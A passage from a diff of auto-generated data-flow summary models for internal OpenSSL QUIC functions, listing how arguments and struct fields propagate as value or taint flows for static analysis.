"ossl_quic_engine_get0_reactor", "(QUIC_ENGINE *)", "", "Argument[*0].Field[*rtor]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_make_real_time", "(QUIC_ENGINE *,OSSL_TIME)", "", "Argument[1].Field[*t]", "ReturnValue.Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_make_real_time", "(QUIC_ENGINE *,OSSL_TIME)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_new", "(const QUIC_ENGINE_ARGS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_engine_set_inhibit_tick", "(QUIC_ENGINE *,int)", "", "Argument[1]", "Argument[*0].Field[*inhibit_tick]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_set_time_cb", "(QUIC_ENGINE *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***now_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_set_time_cb", "(QUIC_ENGINE *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**now_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_set_time_cb", "(QUIC_ENGINE *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*now_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_set_time_cb", "(QUIC_ENGINE *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*now_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[**11]", "Argument[*0].Field[***sstream_updated_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[**13]", "Argument[*0].Field[***get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[**5]", "Argument[*0].Field[***get_sstream_by_id_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[**7]", "Argument[*0].Field[***regen_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[**9]", "Argument[*0].Field[***confirm_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*11]", "Argument[*0].Field[**sstream_updated_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*13]", "Argument[*0].Field[**get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*1]", "Argument[*0].Field[**cfq]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**ackm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*3]", "Argument[*0].Field[**txpim]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*5]", "Argument[*0].Field[**get_sstream_by_id_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*7]", "Argument[*0].Field[**regen_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*9]", "Argument[*0].Field[**confirm_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[10]", "Argument[*0].Field[*sstream_updated]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[11]", "Argument[*0].Field[*sstream_updated_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[12]", "Argument[*0].Field[*get_qlog_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[13]", "Argument[*0].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cfq]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*ackm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[3]", "Argument[*0].Field[*txpim]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[4]", "Argument[*0].Field[*get_sstream_by_id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[5]", "Argument[*0].Field[*get_sstream_by_id_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[6]", "Argument[*0].Field[*regen_frame]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[7]", "Argument[*0].Field[*regen_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[8]", "Argument[*0].Field[*confirm_frame]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[9]", "Argument[*0].Field[*confirm_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_pkt_commit", "(QUIC_FIFD *,QUIC_TXPIM_PKT *)", "", "Argument[0]", "Argument[*1].Field[*fifd]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_pkt_commit", "(QUIC_FIFD *,QUIC_TXPIM_PKT *)", "", "Argument[1]", "Argument[*1].Field[*ackm_pkt].Field[*cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_set_qlog_cb", "(QUIC_FIFD *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_set_qlog_cb", "(QUIC_FIFD *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_set_qlog_cb", "(QUIC_FIFD *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*get_qlog_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_set_qlog_cb", "(QUIC_FIFD *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_gen_rand_conn_id", "(OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*2].Field[*id]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_gen_rand_conn_id", "(OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*2].Field[*id_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_handle_frames", "(QUIC_CHANNEL *,OSSL_QRX_PKT *)", "", "Argument[*1].Field[*datagram_len]", "Argument[*0].Field[**txp].Field[*unvalidated_credit]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_decrypt", "(QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_hdr_protector_decrypt", "(QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_hdr_protector_decrypt_fields", "(QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_decrypt_fields", "(QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_encrypt", "(QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_hdr_protector_encrypt", "(QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_hdr_protector_encrypt_fields", "(QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_encrypt_fields", "(QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_init", "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_init", "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_init", "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_init", "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_init", "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*cipher_id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_bind_channel", "(QUIC_LCIDM *,void *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_debug_add", "(QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_debug_remove", "(QUIC_LCIDM *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_enrol_odcid", "(QUIC_LCIDM *,void *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_generate", "(QUIC_LCIDM *,void *,OSSL_QUIC_FRAME_NEW_CONN_ID *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_lcidm_generate_initial", "(QUIC_LCIDM *,void *,QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_get_lcid_len", "(const QUIC_LCIDM *)", "", "Argument[*0].Field[*lcid_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_get_unused_cid", "(QUIC_LCIDM *,QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_lookup", "(QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_new", "(OSSL_LIB_CTX *,size_t)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_new", "(OSSL_LIB_CTX *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_new", "(OSSL_LIB_CTX *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*lcid_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_new", "(SSL_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_new_domain", "(SSL_CTX *,uint64_t)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_new_listener", "(SSL_CTX *,uint64_t)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_new_listener_from", "(SSL *,uint64_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_obj_desires_blocking", "(const QUIC_OBJ *)", "", "Argument[*0].Field[**parent_obj].Field[**parent_obj]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_desires_blocking", "(const QUIC_OBJ *)", "", "Argument[*0].Field[**parent_obj]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_get0_handshake_layer", "(QUIC_OBJ *)", "", "Argument[*0].Field[**tls]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_get0_handshake_layer", "(QUIC_OBJ *)", "", "Argument[*0].Field[*tls]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_init", "(QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)", "", "Argument[0]", "Argument[*0].Field[**cached_port_leader].Field[*cached_event_leader]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_init", "(QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)", "", "Argument[0]", "Argument[*0].Field[*cached_event_leader]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_init", "(QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)", "", "Argument[0]", "Argument[*0].Field[*cached_port_leader]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_init", "(QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)", "", "Argument[1]", "Argument[*0].Field[*ssl].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_init", "(QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)", "", "Argument[2]", "Argument[*0].Field[*ssl].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_set_blocking_mode", "(QUIC_OBJ *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*req_blocking_mode]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_peek", "(SSL *,void *,size_t,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_peek", "(SSL *,void *,size_t,size_t *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_peek", "(SSL *,void *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_peek", "(SSL *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_incoming", "(QUIC_PORT *,SSL *)", "", "Argument[0]", "Argument[*0].Field[**tserver_ch].Field[*port]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_incoming", "(QUIC_PORT *,SSL *)", "", "Argument[0]", "ReturnValue[*].Field[*port]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_incoming", "(QUIC_PORT *,SSL *)", "", "Argument[1]", "Argument[*0].Field[**tserver_ch].Field[*tls]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_incoming", "(QUIC_PORT *,SSL *)", "", "Argument[1]", "ReturnValue[*].Field[*tls]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_outgoing", "(QUIC_PORT *,SSL *)", "", "Argument[0]", "ReturnValue[*].Field[*port]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_create_outgoing", "(QUIC_PORT *,SSL *)", "", "Argument[1]", "ReturnValue[*].Field[*tls]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get0_demux", "(QUIC_PORT *)", "", "Argument[*0].Field[**demux]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get0_demux", "(QUIC_PORT *)", "", "Argument[*0].Field[*demux]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get0_engine", "(QUIC_PORT *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get0_engine", "(QUIC_PORT *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get0_mutex", "(QUIC_PORT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_port_get0_mutex", "(QUIC_PORT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_port_get0_reactor", "(QUIC_PORT *)", "", "Argument[*0].Field[**engine].Field[*rtor]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_channel_ctx", "(QUIC_PORT *)", "", "Argument[*0].Field[**channel_ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_channel_ctx", "(QUIC_PORT *)", "", "Argument[*0].Field[*channel_ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_net_rbio", "(QUIC_PORT *)", "", "Argument[*0].Field[**net_rbio]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_net_rbio", "(QUIC_PORT *)", "", "Argument[*0].Field[*net_rbio]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_net_wbio", "(QUIC_PORT *)", "", "Argument[*0].Field[**net_wbio]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_net_wbio", "(QUIC_PORT *)", "", "Argument[*0].Field[*net_wbio]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_num_incoming_channels", "(const QUIC_PORT *)", "", "Argument[*0].Field[*incoming_channel_list].Field[*num_elems]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_rx_short_dcid_len", "(const QUIC_PORT *)", "", "Argument[*0].Field[*rx_short_dcid_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_get_tx_init_dcid_len", "(const QUIC_PORT *)", "", "Argument[*0].Field[*tx_init_dcid_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_have_incoming", "(QUIC_PORT *)", "", "Argument[*0].Field[*incoming_channel_list].Field[*alpha]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_port_is_addressed_r", "(const QUIC_PORT *)", "", "Argument[*0].Field[*addressed_mode_r]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_is_addressed_w", "(const QUIC_PORT *)", "", "Argument[*0].Field[*addressed_mode_w]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_new", "(const QUIC_PORT_ARGS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_port_pop_incoming", "(QUIC_PORT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_port_pop_incoming", "(QUIC_PORT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_port_set_allow_incoming", "(QUIC_PORT *,int)", "", "Argument[1]", "Argument[*0].Field[*allow_incoming]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_rbio", "(QUIC_PORT *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**demux].Field[**net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_rbio", "(QUIC_PORT *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**net_rbio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_rbio", "(QUIC_PORT *,BIO *)", "", "Argument[1]", "Argument[*0].Field[**demux].Field[*net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_rbio", "(QUIC_PORT *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*net_rbio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_wbio", "(QUIC_PORT *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**net_wbio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_port_set_net_wbio", "(QUIC_PORT *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*net_wbio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_add_from_initial", "(QUIC_RCIDM *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_add_from_ncid", "(QUIC_RCIDM *,const OSSL_QUIC_FRAME_NEW_CONN_ID *)", "", "Argument[*1].Field[*retire_prior_to]", "Argument[*0].Field[*retire_prior_to]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_add_from_server_retry", "(QUIC_RCIDM *,const QUIC_CONN_ID *)", "", "Argument[*1]", "Argument[*0].Field[*retry_odcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_add_from_server_retry", "(QUIC_RCIDM *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*retry_odcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_add_from_server_retry", "(QUIC_RCIDM *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_get_num_active", "(const QUIC_RCIDM *)", "", "Argument[*0].Field[**rcids].Field[*htop]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_get_num_active", "(const QUIC_RCIDM *)", "", "Argument[*0].Field[*num_retiring]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_get_num_retiring", "(const QUIC_RCIDM *)", "", "Argument[*0].Field[*num_retiring]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_get_preferred_tx_dcid", "(QUIC_RCIDM *,QUIC_CONN_ID *)", "", "Argument[*0].Field[*preferred_rcid]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_get_preferred_tx_dcid_changed", "(QUIC_RCIDM *,int)", "", "Argument[*0].Field[*preferred_rcid_changed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_new", "(const QUIC_CONN_ID *)", "", "Argument[*0]", "ReturnValue[*].Field[*initial_odcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_new", "(const QUIC_CONN_ID *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_new", "(const QUIC_CONN_ID *)", "", "Argument[0]", "ReturnValue[*].Field[*initial_odcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_rcidm_on_packet_sent", "(QUIC_RCIDM *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*packets_sent]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_can_poll_r", "(const QUIC_REACTOR *)", "", "Argument[*0].Field[*can_poll_r]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_can_poll_w", "(const QUIC_REACTOR *)", "", "Argument[*0].Field[*can_poll_w]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_get0_notifier", "(QUIC_REACTOR *)", "", "Argument[*0].Field[*notifier]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_get_poll_r", "(const QUIC_REACTOR *)", "", "Argument[*0].Field[*poll_r]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_get_poll_w", "(const QUIC_REACTOR *)", "", "Argument[*0].Field[*poll_w]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_get_tick_deadline", "(QUIC_REACTOR *)", "", "Argument[*0].Field[*tick_deadline]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_reactor_init", 